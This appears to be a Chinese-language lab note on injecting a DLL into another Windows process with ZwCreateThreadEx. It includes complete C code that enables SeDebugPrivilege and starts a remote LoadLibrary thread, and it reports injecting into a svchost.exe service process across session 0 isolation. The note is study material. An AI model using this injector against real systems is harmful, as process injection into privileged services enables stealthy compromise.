描述
- 通过在进程中创建线程的方式,将dll注入到目标进程
准备知识
远线程注入的原理
- 在目标进程空间内申请一段内存,写入dll的路径,然后利用ZwCreateThreadEx函数在目标进程中创建一个线程,线程函数为loadlibrary,参数为dll路径,即可实现dll的加载
- CreateRemoteThread用于在普通用户进程中创建线程,ZwCreateThreadEx可用于在系统服务进程中创建线程,可用其突破session0隔离
预处理器宏定义
- 由项目配置或者由编译器内部定义
- 如_WIN64由编译器内部定义
代码
- 分为注入程序和dll程序,dll程序随便写一个就行,主要看注入程序如何写
- 要调用ZwCreateThreadEx,首先要提升当前进程的令牌权限,然后再开始注入
#include "stdafx.h"
#include "InjectDll.h"
#include "AdjustTokenPrivileges.h"
int _tmain(int argc, _TCHAR* argv[])
{
EnbalePrivileges(::GetCurrentProcess(), SE_DEBUG_NAME);
BOOL bRet = ZwCreateThreadExInjectDll(8400, "C:\\Users\\dflac_961unic\\Desktop\\TestDll.dll");
if (FALSE == bRet)
{
printf("Inject Dll Error.\n");
}
printf("Inject Dll OK.\n");
system("pause");
return 0;
}
- 提升令牌权限函数的实现,后续实验再细研究
#include "stdafx.h"
#include "AdjustTokenPrivileges.h"
void EP_ShowError(const char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
BOOL EnbalePrivileges(HANDLE hProcess, const char* pszPrivilegesName)
{
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tokenPrivileges = { 0 };
BOOL bRet = FALSE;
DWORD dwRet = 0;
// 打开进程令牌并获取具有 TOKEN_ADJUST_PRIVILEGES 权限的进程令牌句柄
bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);
if (FALSE == bRet)
{
EP_ShowError("OpenProcessToken");
return FALSE;
}
// 获取本地系统的 pszPrivilegesName 特权的LUID值
bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);
if (FALSE == bRet)
{
EP_ShowError("LookupPrivilegeValue");
return FALSE;
}
// 设置提升权限信息
tokenPrivileges.PrivilegeCount = 1;
tokenPrivileges.Privileges[0].Luid = luidValue;
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
// 提升进程令牌访问权限
bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);
if (FALSE == bRet)
{
EP_ShowError("AdjustTokenPrivileges");
return FALSE;
}
else
{
// 根据错误码判断是否特权都设置成功
dwRet = ::GetLastError();
if (ERROR_SUCCESS == dwRet)
{
return TRUE;
}
else if (ERROR_NOT_ALL_ASSIGNED == dwRet)
{
EP_ShowError("ERROR_NOT_ALL_ASSIGNED");
return FALSE;
}
}
return FALSE;
}
- 注入线程函数的实现,由于ZwCreateThreadEx在ntdll.dll中没有声明,所以需要使用GetProcAddress从dll中获取导出地址
- 不同进程空间加载dll的基址都不一样,但部分系统dll如kernel32和ntdll,在同一次开机后,不同进程中加载基址是一样的,其导出函数地址也相同,因此可以获取当前进程的loadlibrary函数地址,在目标进程的线程中调用
#include "stdafx.h"
#include "InjectDll.h"
void ShowError(const char* pszText)
{
char szErr[MAX_PATH] = { 0 };
::wsprintf(szErr, "%s Error[%d]\n", pszText, ::GetLastError());
::MessageBox(NULL, szErr, "ERROR", MB_OK);
}
// 使用 ZwCreateThreadEx 实现远线程注入
BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, const char* pszDllFileName)
{
HANDLE hProcess = NULL;
SIZE_T dwSize = 0;
LPVOID pDllAddr = NULL;
FARPROC pFuncProcAddr = NULL;
HANDLE hRemoteThread = NULL;
DWORD dwStatus = 0;
// 打开注入进程,获取进程句柄
hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
if (NULL == hProcess)
{
ShowError("OpenProcess");
return FALSE;
}
// 在注入进程中申请内存
dwSize = 1 + ::lstrlen(pszDllFileName);
pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (NULL == pDllAddr)
{
ShowError("VirtualAllocEx");
return FALSE;
}
// 向申请的内存中写入数据
if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
{
ShowError("WriteProcessMemory");
return FALSE;
}
// 加载 ntdll.dll
HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
if (NULL == hNtdllDll)
{
ShowError("LoadLirbary");
return FALSE;
}
// 获取LoadLibraryA函数地址
pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
if (NULL == pFuncProcAddr)
{
ShowError("GetProcAddress_LoadLibraryA");
return FALSE;
}
// 获取ZwCreateThread函数地址
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
#endif
typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
if (NULL == ZwCreateThreadEx)
{
ShowError("GetProcAddress_ZwCreateThread");
return FALSE;
}
// 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
if (NULL == hRemoteThread)
{
ShowError("ZwCreateThreadEx");
return FALSE;
}
// 关闭句柄
::CloseHandle(hProcess);
::FreeLibrary(hNtdllDll);
return TRUE;
}
结果
- 选择一个进程号为8400的系统服务进程svchost.exe注入,右键管理员运行注入程序,成功注入TestDll.dll